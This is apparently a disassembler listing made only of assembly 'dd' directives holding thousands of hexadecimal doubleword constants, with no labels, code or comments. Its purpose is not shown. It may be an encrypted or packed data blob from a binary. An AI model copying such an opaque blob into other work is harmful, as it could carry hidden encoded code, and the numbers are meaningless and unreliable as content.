		dd 99437C00h, 2A6AA09Ah, 8E5800BCh, 1151A1B9h, 689C4CB7h
		dd 6898E5E0h, 0B2DA2EB3h, 0E448844h, 0D8218844h, 91F411BAh
		dd 493C03Ch, 816CFCh, 6FA09EC4h, 237704A2h, 80C04399h
		dd 0DB50510Ch, 33D7E700h, 9ECA8AB2h, 5C690173h,	2D212A52h
		dd 803C2CB9h, 60471E44h, 34DE0475h, 0A215B83Eh,	0A8EC009Ch
		dd 9143C1B5h, 1E9514E4h, 0F121D85Fh, 0B24AAB91h, 0BD23011Ch
		dd 6466E89Bh, 0E6A7ACCh, 12E43F6Fh, 82A8D436h, 0F85C2139h
		dd 94ACCDC0h, 0D4E70049h, 42598C3Ah, 283F6587h,	70D450DDh
		dd 0E0711FBh, 2E48C511h, 0E23F6CC8h, 0C02DF3C0h, 68066200h
		dd 0D7470DCFh, 0C5FF4505h, 4C83855Dh, 10A8B087h, 270A0011h
		dd 1896E697h, 0C4FF98C0h, 827D0868h, 0E8091704h, 99278FF2h
		dd 31DDA804h, 980483FCh, 5400DE20h, 15280184h, 1C19BE13h
		dd 52E8C3F7h, 4E0CC205h, 0D92CA955h, 0AFAC00F0h, 41E8BB88h
		dd 2937D800h, 0F1A7C43Fh, 0B010B547h, 0A1986D3Dh, 30BD161Eh
		dd 4342CF8h, 0BCC51550h, 995442A4h, 311401D5h, 0E060E54Bh
		dd 0C74486FDh, 0D8649D29h, 0AA039FE0h, 0A2B3A1C9h, 1BD4009Eh
		dd 1E40D141h, 4B13A8F5h, 5404B853h, 87017385h, 0A6FA39BCh
		dd 201DBA78h, 0F0121309h, 48AD50D4h, 0C33D0403h, 0D2947FC5h
		dd 3471C950h, 3946E640h, 7F6758FFh, 0C094C025h,	523FE21h
		dd 0FAD5F0A1h, 0B9FAE000h, 0BFF5EAD9h, 4456A442h, 6B113240h
		dd 4494CB3h, 41FFAE0Ah,	249A89C8h, 88D45CC0h, 548AF494h
		dd 2BCACD9h, 494C7B38h,	4498DEDAh, 618A4013h, 25B0E7h
		dd 9AE4D276h, 8B6D4E66h, 0B421F490h, 0A8BC170Dh, 5F83DFC0h
		dd 8DBE33FFh, 2BFD7072h, 400CC71h, 4EC99F53h, 55820E61h
		dd 6BE7113Ch, 0D06C1592h, 0B0A53BCh, 442D3C89h,	8A968503h
		dd 2FA9A98Bh, 1710D01Eh, 2D9ACB04h, 58C09BEDh, 5C0B7019h
		dd 47276E3Ch, 8E3A48E8h, 0A30D50C0h, 0A6D848C1h, 21089090h
		dd 7A11EC7Dh, 255EC048h, 4A748174h, 300E0058h, 0F01845D8h
		dd 8378124Dh, 0B4E37624h, 0C85C0EC0h, 542D489Bh, 0F484D1C8h
		dd 0C2401396h, 3DE7A19Ch, 8AE4E550h, 54D8455Bh,	84B40092h
		dd 2C7ABACAh, 0AE7678D6h, 36C19316h, 5780121Fh,	48CDD4B9h
		dd 0C514013Bh, 0FA5A97DDh, 34B065EAh, 74A965E8h, 0CBC51064h
		dd 70561DC1h, 3B384B2h,	0B0D4C1BFh, 96A11077h, 0CC8E0B0Fh
		dd 5C4E2ED0h, 0B0B2C45Fh, 0ED75AA1Dh, 0EF00D854h, 400D501Ch
		dd 23F4BCh, 7BE0B9B7h, 0D268AEE2h, 0DF220B2h, 0A7714B84h
		dd 1276005Ch, 2D29EB8Fh, 0C94D00EEh, 23CA34D5h,	7A5D9C37h
		dd 0D6851D0h, 0A62C38E8h, 8E4450DEh, 797D649Bh,	216F32DCh
		dd 7BB8D949h, 5DC42470h, 1F9BB81Ah, 43E3BC5h, 814058F5h
		dd 0B68858h, 0B6EBF961h, 600149C0h, 3B2D48C4h, 0CFEDF020h
		dd 435C98D0h, 0F78670DDh, 4BE4410h, 1F6DA803h, 0D1813DD5h
		dd 402E3070h, 0D1ED9D5Ch, 41E1ACE8h, 5231E84h, 638054A8h
		dd 14A6DEC2h, 3F895300h, 76193EFEh, 3818B545h, 7501A98Ah
		dd 7821B3F2h, 7A30BBD5h, 0A131699Bh, 90F7503Ah,	77BB1658h
		dd 6A180047h, 3E77D571h, 900B857Bh, 0C12CDA10h,	0D082428h
		dd 969F88h, 7C8E475Ch, 319CD081h, 3545FC0Fh, 1340BDB5h
		dd 0DDE33486h, 1D320011h, 86C4C9Fh, 0DBE6F797h,	9C469409h
		dd 0C450E123h, 0A99263C4h, 840C90E8h, 4C28CEB5h, 6E01C158h
		dd 82741B01h, 0C02161BFh, 0F21460D1h, 16A41873h, 0FC923B16h
		dd 0BA2920B7h, 309F47C4h, 9F4056D0h, 0A101C8C4h, 0D9167169h
		dd 0D4612896h, 0B316B823h, 89F009BFh, 0E6D838B0h, 95662F44h
		dd 0F1AEE418h, 0AD020F76h, 0F9319A77h, 0B150C1B6h, 0C850167Ah
		dd 2B0074A8h, 0D3DDB282h, 1E975E72h, 40ABD27h, 8BC93155h
		dd 74885A84h, 5C811C75h, 353FC223h, 546158BEh, 9C570C19h
		dd 0E82C6288h, 0F41F3622h, 10C04020h, 0F1383D21h, 66138323h
		dd 0C055417Dh, 99EBB83h, 0B4CBDC52h, 10DC7309h,	0E5B2A04Fh
		dd 307C7396h, 71AA6F53h, 5104E143h, 9FA2E601h, 0D4020ABh
		dd 5200A1A4h, 0F6A0090Ch, 2587B3BDh, 0F845259Ch, 1112E08Fh
		dd 81DAC31Eh, 0F54365A2h, 0F08FEC04h, 0D831302Ch, 45796908h
		dd 3070BAF6h, 0ACFAB8h,	6B138429h, 0F0E4347h, 2C38490Fh
		dd 0CC76296h, 42D4522Fh, 0DB410B0Bh, 0A050E8E9h, 0E7800B0Ch
		dd 0D08F65A9h, 91C17845h, 96E1894h, 79871EE1h, 1903A429h
		dd 0EA64EC60h, 980568Ah, 70D94256h, 81C1BE43h, 4029CCCEh
		dd 0DEF8D009h, 3093D498h, 314E2009h, 0E2ACC4CCh, 7C208A45h
		dd 787EB8A4h, 42E49400h, 0B3D30308h, 0ECEA015Bh, 1A88AB51h
		dd 1C8020B5h, 8F67E08Bh, 0D9B761A5h, 11757961h,	0E815D531h
		dd 0F34D80D0h, 13C9651Fh, 0A388155Bh, 54462044h, 88BB4CBFh
		dd 5D038EF2h, 5F7A6CB3h, 98E483E8h, 181C6EBh, 512CB9D9h
		dd 4028E344h, 3C87609Ch, 72E0309Fh, 317712A1h, 80A4B8D2h
		dd 7D9FBE58h, 0F3BD0096h, 7719B7ECh, 7EF92169h,	5FA44030h
		dd 61CA042Ah, 8CD846AAh, 0BE09ACACh, 0F1BC2E48h, 9C1F109Ch
		dd 0D10A826h, 962934CCh, 0F250A8C4h, 4E09DCE7h,	82006DDDh
		dd 186F047Ch, 5DDC8517h, 2840F0E1h, 3A08ADDEh, 0F4093Bh
		dd 54EC9E84h, 8A469932h, 4822ACE8h, 22300F4h, 0BCC2E39Dh
		dd 0E01EA56Ch, 414006A9h, 3C5351DCh, 0D4C5881Eh, 69B5F909h
		dd 21B04124h, 0F488180Ch, 50949D91h, 0EBA5E10Eh, 0D8842C7Bh
		dd 7AE241E0h, 0FDDF1822h, 4EBA8C21h, 852C389Dh,	94D2B6D2h
		dd 23F71815h, 47C784B6h, 4D2A009Fh, 0E52DC68h, 6FDFEB5Eh
		dd 417DA84h, 0E0D14176h, 7D18BBC6h, 2FE5F400h, 7EC33D0h
		dd 0B09B0E04h, 0DA40091Ah, 4E67216Eh, 0C542BC00h, 360B4503h
		dd 0E399006Bh, 9A1AADF3h, 4909DFD0h, 604C7B0Dh,	847A1DA0h
		dd 8831075Ah, 8988379Eh, 0D1ADBE2Fh, 5061003Ch,	3FDB4FA3h
		dd 2BC19000h, 67C77ECAh, 922030D0h, 0CD08E508h,	7B7F8209h
		dd 10C05453h, 4F019325h, 0E5101512h, 59102068h,	224D84F1h
		dd 0DE54A853h, 7E95C9h,	0E5C02BE8h, 50A2952Eh, 0D4CE6AC4h
		dd 344BB400h, 0B20916CEh, 682E3E66h, 77379980h,	7257ABFFh
		dd 1D972B0Dh, 24FD6112h, 3C94CC3Fh, 5500D9F2h, 71E45FA6h
		dd 1D86582h, 154FB02Fh,	0D22ED11Eh, 0FEDC11D5h,	0C455C990h
		dd 72AE2158h, 38D95D3Ch, 0F4D7498Ah, 4C8FF442h,	0E23626BCh
		dd 2B5B6280h, 0AA1DB0E6h, 0CAC026FAh, 0D77E8F4Dh, 81B04A69h
		dd 80258580h, 0EF95AA08h, 17B7D0F5h, 0BCF44344h, 781A81F0h
		dd 0B81630AEh, 3C839012h, 0E02B20D9h, 0B42CD33Ch, 2AC0DC31h
		dd 0A47AA1h, 6C8D09C7h,	0CBD516Bh, 6C6E73Bh, 79F22F8Eh
		dd 2175EB8h, 0E2535298h, 44C96C5Eh, 0AA507DCh, 47A0D251h
		dd 0D07750ADh, 0E900CDF2h, 93A9C5C1h, 25653D9h,	3EE564B5h
		dd 0B449ADE4h, 75B0911Fh, 5B022820h, 0E245B711h, 0A572007h
		dd 0D0008503h, 10EEF53Bh, 0E86E8C25h, 83CE0204h, 0D7FBE6F6h
		dd 65002476h, 0F9C220E2h
		dd 6C334C96h, 0E86C820Ah, 0EAA2BDF0h, 0B46F4522h, 0D1408F8h
		dd 0F0502544h, 80D4F25Bh, 6CBB6E28h, 5A1B0002h,	3B43A64Eh
		dd 0C00E7C69h, 258A7B08h, 0D045BE48h, 70AC9BF4h, 22C5D984h
		dd 9B6A1099h, 0A8A25F4Eh, 5C87D901h, 0C0218079h, 0C98D618h
		dd 3DC41600h, 0FDD38F77h, 0B991887h, 459DB0B0h,	0EEC75C96h
		dd 0DBA2C2D0h, 0C7FB0163h, 0C3FC3D52h, 25C42CB2h, 0A0F0E5E5h
		dd 9D8000C0h, 2F9245B9h, 4907A9Eh, 0F2E5BF04h, 708C2198h
		dd 8970E29h, 0B86B9D4Ch, 31B53424h, 0E98823FCh,	0C29242A4h
		dd 219C20BEh, 5C0E8D06h, 47C77C5Ah, 58D0A413h, 17BEF09Ch
		dd 0E81D3E56h, 9293E0BCh, 4D3C3C07h, 9F20D85Ah,	9434286h
		dd 2A6BE828h, 698A6810h, 9024543Bh, 7D589646h, 0E24A80C6h
		dd 0E0E47024h, 4F2C0Eh,	9381E152h, 856F00EFh, 0B9BEC012h
		dd 8EE47ACh, 4CF3412Ch,	386FD70h, 52422696h, 21131FBDh
		dd 0FCF521C5h, 5ADCD86Fh, 22E8934Ch, 5A78BF2Ah,	5188E769h
		dd 0E5FB1788h, 6C65D400h, 8D270800h, 0BD9F6E9Ah, 48697CD2h
		dd 0ABC0280Bh, 0EEC4258h, 6CE5385Bh, 0C0203DE1h, 0BECE194Ch
		dd 8212149h, 0A29808h, 1CCF0A5Ah, 0BE69E4FBh, 442AE527h
		dd 7D71D0h, 179D82CCh, 0A8EFC342h, 4BA42809h, 0F7C054Dh
		dd 0D0F3A4D4h, 19C66F00h, 0B94253BAh, 9D0DAE00h, 200A233Dh
		dd 489897C0h, 470EDFA4h, 425C45F3h, 8EE797D7h, 0BED1E308h
		dd 385180E2h, 587B1372h, 0EBEA0097h, 0E0C51CBAh, 0D36CBD00h
		dd 0E8086FBFh, 0A02A0188h, 801B01EEh, 0ACCC6BD2h, 0C302C04Bh
		dd 77FF323Dh, 45809A00h, 0EDDEA79Bh, 133C13B0h,	0AF5C88F5h
		dd 0CC420D00h, 0E16C663h, 28B90001h, 1FB19F4Ah,	0D225532Dh
		dd 8A3CD1BDh, 3B0CD6C5h, 0EC92BCA7h, 0BA1E4CE4h, 944069ADh
		dd 0BC348D0Bh, 0DD563F45h, 0B68EAB3Dh, 8AA032D7h, 0C4749ECBh
		dd 871CDB01h, 56AC2E88h, 4E90CC7Eh, 6E40B8E6h, 4D9627F2h
		dd 3D68F490h, 0B400E491h, 30D7BCEFh, 40DB4A99h,	7A23454h
		dd 0B5260EB9h, 14019CE3h, 21724356h, 385CD83Ah,	80D2323Eh
		dd 3FBFC1D8h, 0E837B04Dh, 53EB00FDh, 24BC6231h,	0F926E68Ah
		dd 384D0E0h, 0F082A943h, 0FB8E2017h, 0E42D36D0h, 4BCF96Ah
		dd 0BE23AC4Bh, 0EEBE8C00h, 0B774E444h, 58965844h, 0E6AB8605h
		dd 0E3799880h, 0A3D05F31h, 0F8240060h, 2A100912h, 0FA470459h
		dd 0ACC33CDBh, 0F79E8058h, 3DC6B056h, 3A007223h, 0D3BAFA0Dh
		dd 180FDF95h, 0D30854D8h, 3E80A0B2h, 0D8A39604h, 98F31D5Ah
		dd 8EC1D100h, 0F61C697Ah, 0D4016E90h, 252904B3h, 403A7806h
		dd 0B43767D0h, 0E300D332h, 94B3F391h, 6C8FD4h, 83857D6Dh
		dd 49574FA0h, 11961612h, 0D336F0D0h, 0C44A48C4h, 0E9459813h
		dd 0E9278090h, 0F49B2Dh, 0DCB4D023h, 0CC9D550Bh, 0A1FFDCEBh
		dd 542F0600h, 0D2E16CD9h, 2C43B573h, 2830EED5h,	5D405606h
		dd 2C0260A3h, 6BB89CBEh, 8F0F405Eh, 73AF7DA2h, 0C26500CCh
		dd 0EE85B937h, 2D1D7001h, 6CD4A5BBh, 0C47603ECh, 0EA822268h
		dd 0D238C420h, 241200B0h, 0E1ED1335h, 0DE011F96h, 0E8EE11D4h
		dd 74E5D6FAh, 0C3803C68h, 0E9F6A7EAh, 844DA13h,	0C3CC4A1h
		dd 3F245680h, 94C07C43h, 88DD5984h, 0BE7FC34h, 0B0928FA2h
		dd 183B80E8h, 9C827D8Ah, 0C5231D09h, 0EDF380C1h, 3D00706h
		dd 0D256E962h, 60091F3Bh, 450910C0h, 0F27DE1E7h, 57C00856h
		dd 39C61705h, 0CD855159h, 809E2BDCh, 0BDDFE9B7h, 40D5B27h
		dd 14C09C34h, 4C7304Bh,	48C4285Dh, 0F836BAD8h, 8C94B510h
		dd 5037B81Fh, 761D7480h, 0C4A7B78Eh, 5F2181C8h,	9095C692h
		dd 386420EBh, 0A50051CDh, 28B552F5h, 3905C08Ah,	1770C2B7h
		dd 0B24DEB5Ch, 902C3208h, 8578542Dh, 0C2D0EDF4h, 20F1A4F1h
		dd 0E086DA0Bh, 28DEF91Ch, 92DB9Ah, 6F30EE1Eh, 0AA9D3419h
		dd 0E125A413h, 99113490h, 0DC21FB76h, 5325BC4h,	483BA7E6h
		dd 0AB4F9D7h, 0C5A2CC39h, 12DC2101h, 59C00E1Eh,	4FE04BFDh
		dd 0FE60F3CCh, 0D6387052h, 6E414900h, 56151C2Ah, 2B980A59h
		dd 0A5A8BCE8h, 0E4120853h, 95935002h, 0DFF04250h, 0E31F8496h
		dd 1EF85509h, 0B01308C8h, 4F81ECA8h, 0C89AC658h, 0CE0214E4h
		dd 0FFBCA4BAh, 8394422Eh, 0F7B848A4h, 0DC793137h, 0DA4CE310h
		dd 0ACB840B0h, 0D8ECA000h, 51A10502h, 0BD1E02ABh, 840CE838h
		dd 0D8603075h, 0AFCA3E97h, 616899A4h, 100FE0B1h, 27D00Eh
		dd 0CC9A2DEAh, 0A8E6E1C5h, 48B404B7h, 0A74B5CC1h, 7020BA04h
		dd 3C902D1Ch, 0C92602F8h, 0B6B06090h, 51001D94h, 3AD626EBh
		dd 90CC373h, 71FA163Fh,	0EA601476h, 2836B514h, 7BFA5866h
		dd 0CC109FFAh, 0CE7F0183h, 174E8801h, 0C7264BF1h, 0A0B1F0h
		dd 84C8030Fh, 112936B7h, 7190E195h, 2C20EB14h, 87976Ah
		dd 8C6D17DAh, 6995F17Eh, 83EAB0C4h, 0D55C62EBh,	0F4101A41h
		dd 9E26ACF5h, 580F03B0h, 748301A4h, 44CA97DDh, 182D0A34h
		dd 408CA78h, 0B8C3DF45h, 3E698354h, 0E447E86Ah,	0B2AC13E1h
		dd 0F88204D7h, 5040EE88h, 8EF02439h, 94C49777h,	0E10AF900h
		dd 906DFA64h, 5C35FC52h, 0BE01F0FDh, 87B6B25Ah,	471C20B7h
		dd 61DBDC2Dh, 0CC08C530h, 2126080Bh, 477CFC7Ah,	87DF8030h
		dd 0A400DD72h, 48986AB9h, 730DB01Ah, 0B7470940h, 0E49128FDh
		dd 2D64396Eh, 43A47194h, 2FC0BD9Ah, 0F774F383h,	420374Ah
		dd 0B4B7D949h, 9528E0A0h, 1607259Bh, 7DE0E37Ah,	9C9D619Ch
		dd 17946594h, 48F224h, 0BC5ADF92h, 963EFC7h, 20AAAC32h
		dd 28F0107Fh, 2FB8B155h, 0E32DEC18h, 2FFB9F00h,	2B38EE8Eh
		dd 584704BFh, 80D0095Fh, 33976500h, 0B8434F00h,	9DFE8982h
		dd 8B382C11h, 84C50008h, 662075AAh, 0EC9E531Fh,	0C49F6B40h
		dd 1ED3308h, 1E52F2DFh,	0C96F2E4Dh, 5CB84030h, 0FCB956C2h
		dd 93325A80h, 5F3B38DEh, 0A85F04Bh, 4CC39E7h, 91F48031h
		dd 0EC210C8h, 6BE5ABE0h, 90A0D389h, 1AC3DA09h, 9EAFCF00h
		dd 0FEAB8373h, 0D2203CDDh, 1185EB18h, 91653208h, 0CBCC129h
		dd 0E01B0387h, 4CE1C30Eh, 51F7B00h, 51F4FF7Fh, 3271D7h
		dd 8ED0DD44h, 0A5DC1F8h, 0EA3ACFEEh, 48BF856Eh,	98E92175h
		dd 38F06680h, 0FF00447Ch, 37878165h, 24043CDCh,	13FF7BDFh
		dd 2C7C000Eh, 8F8D2D84h, 1707C0B0h, 0BFF19C78h,	0D5311EC2h
		dd 9AF2BCA1h, 8B783845h, 60404EBDh, 0B6CCA4B8h,	33029976h
		dd 112CC66Ah, 952CDE06h, 844D2049h, 142CC485h, 7F9434h
		dd 3197637Eh, 0DB6F928h, 60B4CD27h, 5B614260h, 0D2002375h
		dd 0D82F88F9h, 60256A09h, 799092EEh, 0D218001Ch, 97BBB562h
		dd 70759607h, 0AF902645h, 74AA4ABh, 39943D1Dh, 0B0413B7Dh
		dd 9AF411BCh, 0C76C987Eh, 3498C100h, 0A585A6Ah,	0FA8E033Fh
		dd 56BEA6EDh, 0AC28AEBDh, 6ECD016Dh, 44D754DFh,	8448FE70h
		dd 8400F7D9h, 23E60C65h, 0E0B3B7h, 0E56C43D6h, 13CBC28h
		dd 0B1C7C0C2h, 589C411Fh, 49839010h, 0B77BD800h, 949A9637h
		dd 0CDBE05BFh, 24221B18h, 6E8CD994h, 0FCEDF40Bh, 1091E0C4h
		dd 673C1FEBh, 4E7C80DEh, 454115ABh, 64489F14h, 1831DC2Fh
		dd 0C6C088A1h, 0D348919Fh, 804CBC7Bh, 5594B830h, 0E7B21C3Ch
		dd 4F0840B4h, 5E4A2D3Bh, 0E556DB1Fh, 68359485h,	0C530B444h
		dd 1A8CE852h, 74E82A48h, 0DCE18070h, 5B7D59A4h,	70A3E500h
		dd 0C465A6Bh, 61E9009Fh, 519DB84Bh, 9526FEh, 0D0252AA8h
		dd 0A23D4B56h, 2C9210Ch
		dd 4590F95Eh, 0BD9C1175h, 0C8701710h, 0BDF6800h, 1A495435h
		dd 2B132725h, 9045B0F0h, 0E40CC2Ah, 0E83D3A28h,	274ECB5h
		dd 84122EFEh, 1F6024E9h, 0EE003863h, 542996Fh, 1732AF03h
		dd 0C847204Dh, 0DB959CD4h, 4E880C8h, 389B277Ah,	0CD645A09h
		dd 0D420026Dh, 790537Ch, 7342FD3Bh, 35B894D9h, 0EF00F47Bh
		dd 0E42F9197h, 5A589271h, 0A78098C1h, 0A1ABEA1Eh, 20D84580h
		dd 0B614A8h, 0CD7B3C35h, 54DD1A2Dh, 18FC8548h, 0E5F145B7h
		dd 9C380203h, 0E73608CBh, 0B4A8147Eh, 5D4A3C02h, 74169BC0h
		dd 1954A6E0h, 623DD107h, 0CF4D00F8h, 0F7360CD8h, 4B920004h
		dd 0AB817916h, 46977456h, 941E088h, 0E2537E9Ch,	0D1DD60E8h
		dd 91662900h, 2F8BD0DCh, 0B6604EC3h, 28B300ECh,	334847F8h
		dd 4830E48Fh, 96818486h, 3E3AB1DBh, 17AB5C85h, 0E50C2068h
		dd 3C092718h, 76E6A9C1h, 57984048h, 1A702E05h, 0F69DE203h
		dd 0C887FCC4h, 219F47h,	5E86DB20h, 629EC123h, 19134FECh
		dd 5E10410Bh, 0ADD5129Ch, 1E24C1Eh, 0B2CED4BBh,	7D8350B7h
		dd 2C167E5Ch, 550258C2h, 0C1791B78h, 0EC87A6Ch,	14EA7A47h
		dd 18F2A031h, 496F800h,	7E7A17A2h, 0E0D6C500h, 0F124C1Bh
		dd 23EA013Ah, 3087B3C4h, 445030BBh, 5ECD274h, 0FE835400h
		dd 2CC82B2Dh, 0C794C7Dh, 9317940Eh, 4078C509h, 25E87C53h
		dd 8044D322h, 159C5E3Eh, 70008059h, 0A962829Bh,	5E27386h
		dd 0C3F86757h, 9432BA2Bh, 6C0723BEh, 2DDC90C8h,	2A024700h
		dd 0E888315Ch, 3C204DBCh, 0D4D0C725h, 3808655Bh, 0D349853Dh
		dd 5428EEC5h, 0B046B519h, 2FD8BA16h, 0E57FBE05h, 20056040h
		dd 236B8F0h, 8B833EEDh,	0AFD725FEh, 293191E4h, 3FCC6240h
		dd 48E5388Ch, 46204840h, 0C08C494Bh, 0F3FDE58Fh, 0C85C983Ah
		dd 23000671h, 0CCD7FAFh, 0C74F30h, 95C1AD09h, 0E48EFD65h
		dd 0D6B0DD67h, 41978680h, 7010F6EEh, 0A3375AAEh, 2056B2E4h
		dd 4E338E13h, 556C5E00h, 3BD0F6B1h, 400E2EB8h, 0E89C0914h
		dd 230BFC70h, 0FCE35020h, 0C1080880h, 113F5305h, 0EBC7B8ADh
		dd 3326C3EDh, 0C64D8DE8h, 0E444E52h, 7FC5769Dh,	1334516Dh
		dd 5BEC0A24h, 0D8C43DE0h, 3DEAA09h, 0CC045572h,	0A0EC576Ah
		dd 76ACD13Dh, 45E21390h, 0FF3B2634h, 1838C04Bh,	5FD92068h
		dd 875CC090h, 1054CA91h, 316E6C0h, 44EC60CCh, 5F54A25Bh
		dd 33300C8h, 10C3FED2h,	0A4D8B405h, 340391E6h, 0A3C5B15Fh
		dd 0C0F780E8h, 0BEA10954h, 1844A562h, 26445101h, 28CE052h
		dd 2E1C56D0h, 3486EC37h, 8048F8C8h, 9ABA99B7h, 8B8F14EAh
		dd 6E000CE6h, 0C9EDA74h, 9A5B55BBh, 40B6A420h, 3383BC3h
		dd 8DA75A00h, 577BB797h, 76D95400h, 85508F66h, 131C00DBh
		dd 1F03CB09h, 0E5716A21h, 5B40B002h, 7FBFDA0Dh,	2C6620B2h
		dd 0A3615E00h, 5D60F4DAh, 83C2046Ch, 8D1C4385h,	0EE3B20ECh
		dd 0D761DF00h, 0B5FCD2C7h, 0DDDE0001h, 0FF7EE607h, 0F008746h
		dd 0E4D70273h, 98C98AABh, 2CF60454h, 0C488960Eh, 8038FC7Ch
		dd 41F27E5Ch, 162009B6h, 0C42BD31h, 0A24084DCh,	256DDB27h
		dd 34890C77h, 561AFC10h, 1C22465Fh, 0C7E833A1h,	15174097h
		dd 0C08941C5h, 2EC9D078h, 4189675h, 2B87E59Bh, 0E088ABC0h
		dd 21FD1F0Bh, 5C66004Fh, 96C3E4B1h, 0E12EC900h,	4AEEAC48h
		dd 6A7331h, 0B05B163Ah,	0B898259h, 0B5F9740Fh, 28ACE320h
		dd 56AEA82Eh, 4BE0B63Ch, 0B6423C42h, 93F700E2h,	0ACFA8F4h
		dd 8B44005Ch, 14D1AD12h, 5D059CB7h, 0F0931584h,	97657800h
		dd 0A194DCh, 0AD039EB7h, 0F4642C43h, 45CB9B17h,	0BA807CA9h
		dd 0FFA0E85Dh, 5C947325h, 6B3C4038h, 0F1767633h, 0F803A370h
		dd 4EA6D858h, 5049E8DFh, 0BA1300C0h, 96DDFA02h,	0B1FF71Ah
		dd 9597C588h, 0D7CABC00h, 0C9AD3Fh, 0C6C72F97h,	0AF28B48Bh
		dd 0ABE0BE00h, 0CD766906h, 4824920h, 3F714C83h,	0A11578F8h
		dd 75CE5B7h, 43B86D79h,	53E93D62h, 4A67E8D3h, 4DCA0D1Ch
		dd 0F302614Fh, 432C90F2h, 0C2441A8h, 0C0007CE6h, 985BECCh
		dd 0BAF10175h, 0BC03BF5h, 0D7CE70E6h, 9513537Eh, 70B9B7AAh
		dd 0CB0B9180h, 0C902736h, 18C8EF12h, 8420F8A0h,	9144ACB4h
		dd 61F48CAAh, 1CE54A13h, 36400Eh, 37D3AD98h, 19290418h
		dd 0D2B75493h, 0B064DB50h, 0C1A4B100h, 918E0E2Dh, 8C71007Ah
		dd 0ABD236C9h, 1F052A58h, 0D388496h, 1288EC07h,	18D2ED84h
		dd 0F0105DE6h, 4E002AB5h, 3B7A40EBh, 380669Ch, 422863FBh
		dd 59847EEh, 9B4AF304h,	2302688Ah, 909D6199h, 0A21D2C44h
		dd 0A4A4A7EEh, 0F345D709h, 2C14077Ch, 20C9E0E6h, 0C00012C2h
		dd 738B600Ch, 163581C5h, 23BC2F16h, 0ABF1B50Ch,	8033C1h
		dd 260CE8F0h, 38EAA414h, 81FC874Ch, 884DEC8Ah, 9E664A1Eh
		dd 0F1197B80h, 0FA840906h, 0C1322C3Fh, 67936074h, 827CABD6h
		dd 0F7778B0Eh, 4FB7E05Ch, 0D165A5Eh, 0E0678C20h, 84A02F08h
		dd 0B8EC0163h, 502C28EBh, 0DAA4F4A1h, 3303AA07h, 0F430CBF5h
		dd 48645E2h, 0DC2DB9BAh, 0FCC2AEBFh, 529F1091h,	2E984C05h
		dd 0BD819A37h, 1C735B48h, 0CC67D600h, 288D2FA4h, 59A01525h
		dd 0B34610C0h, 6BBEE0B2h, 0D8DF000Eh, 0B612CE9Ch, 0DC0B3A8Fh
		dd 5CC54D33h, 0E0E3E064h, 8E2C0514h, 15003F39h,	894934E9h
		dd 0F84600BDh, 6823D980h, 0E037A10h, 2F9CC5Ah, 816BB004h
		dd 0B9DC00FEh, 5216F3FAh, 7A0CF059h, 50089FB7h,	968D30EDh
		dd 72D10408h, 7B3E1700h, 15360C25h, 14E3505Ah, 0B5B61E83h
		dd 0DE7A0664h, 3F000856h, 9D98C161h, 1D8DECF6h,	32495FA8h
		dd 8209359h, 1CADA96Bh,	400D885Dh, 560EB3Ah, 0F500B730h
		dd 711B9F21h, 0B5BFC5h,	0DADC25Eh, 0B727983Fh, 99E93700h
		dd 26D4DADDh, 20E207B3h, 8589A1h, 0F773FB1Ah, 0EBB0BD0Fh
		dd 807C0EEFh, 6BD98E04h, 0D6F80092h, 0AD77615Ah, 2E01ECFBh
		dd 0DF57DCDAh, 289FE54Eh, 29038039h, 0CB0E44D6h, 6F37DCE8h
		dd 5B92B997h, 311DC085h, 0F031CFDFh, 0D74EAA83h, 0A17A111Fh
		dd 0D844E8C0h, 9670B02h, 0DD2A4B84h, 483A6B06h,	99B0B537h
		dd 0CBEC86B3h, 5EDEB0FBh, 9A52AE8h, 7B6D79B0h, 25C70ADFh
		dd 0BEF85FA9h, 70C0990Ch, 0D6614E81h, 0A31E3079h, 753CF8h
		dd 2D37F30Eh, 0F01C4217h, 0EC351819h, 6E10E331h, 0EF03ACD6h
		dd 0C236264Fh, 0A615A079h, 1E530F3Fh, 30809C32h, 86AB5EDAh
		dd 0F50CA03h, 0D662A92Dh, 0B6241889h, 5AA8C9ADh, 98F7A100h
		dd 51346093h, 0BAED069Fh, 316BDCDBh, 102D0406h,	3911F0F7h
		dd 1C0E5BBFh, 8DC16F68h, 0F01A7934h, 0E20E7AD9h, 0C099C860h
		dd 0E153C4A5h, 1F2601CFh, 9B4A7F3Dh, 8AC04C2Dh,	8D032C91h
		dd 0E051CAEEh, 0F1C4F70Eh, 69CCA980h, 693BF7Dh,	1F256D02h
		dd 45353FB6h, 0C6CE1068h, 19EEF6h, 3E9CBB2Bh, 8BCB0198h
		dd 0C332B007h, 0DA012F73h, 2980F3F6h, 0A81C80C0h, 2B0065C4h
		dd 46683ACh, 0E2694FB0h, 2E54F4AFh, 0F058D4h, 0C0FF6CBAh
		dd 0B6362A8h, 9B8D41h, 5D1E1BC9h, 65AAD93Dh, 2D005E78h
		dd 0E3F93128h, 1405C160h, 0BCECEEA1h, 20505F3Dh, 0DF3A4069h
		dd 22FA3200h, 304C88C9h, 0C8B700C1h, 0AA5E06FCh, 69E225A9h
		dd 1B1CBE0Bh, 0B02702A0h, 426440E7h, 16360E0Eh,	30E163F7h
		dd 0D0091532h, 42F55EA9h, 0FB206734h, 2C1AD5B5h, 3A821C0Dh
		dd 0F8B12100h, 27E0504Ah, 8B599400h, 296FC7D9h,	492F0744h
		dd 5062876Bh, 0AFC96315h
		dd 2E65A91Fh, 754F6F03h, 0F167E005h, 143EEDAh, 5C1E73B1h
		dd 800C8526h, 28AB9E08h, 1FB99A2Bh, 801043A4h, 12E24C5h
		dd 1D00871Ch, 0E3D407D3h, 29855A0h, 917FDF37h, 1B4162E8h
		dd 3A2BD8BFh, 90E31700h, 0AB5897A7h, 186A60B6h,	5740F218h
		dd 0BF96D000h, 1F9E3025h, 35A6005Ch, 377FE4E2h,	0AE007310h
		dd 0B1BABECBh, 0DDB494h, 0BD6D620Eh, 0C10F3E53h, 5E39CC6Eh
		dd 2366C1F0h, 0F1315C41h, 0E2A7050Eh, 1FC50440h, 8200ADD1h
		dd 7DC7B4C0h, 6116403Dh, 0E58B4127h, 9A94C4C5h,	86B6BD00h
		dd 0B1BB25E4h, 0BD5E5A7h, 102818F7h, 0CFF8696Fh, 5EEFFC12h
		dd 3736A405h, 18F645C0h, 3AB0E47Fh, 1F8725D1h, 0DAD80F67h
		dd 6B1154h, 0A042D72Dh,	47C86Dh, 0FD9D658Eh, 0DE33E589h
		dd 29627930h, 7592BE3h,	0B0727ABDh, 25863EBFh, 3B005135h
		dd 944D84F3h, 1C4727h, 0AE867914h, 43BE4804h, 0EC75BB29h
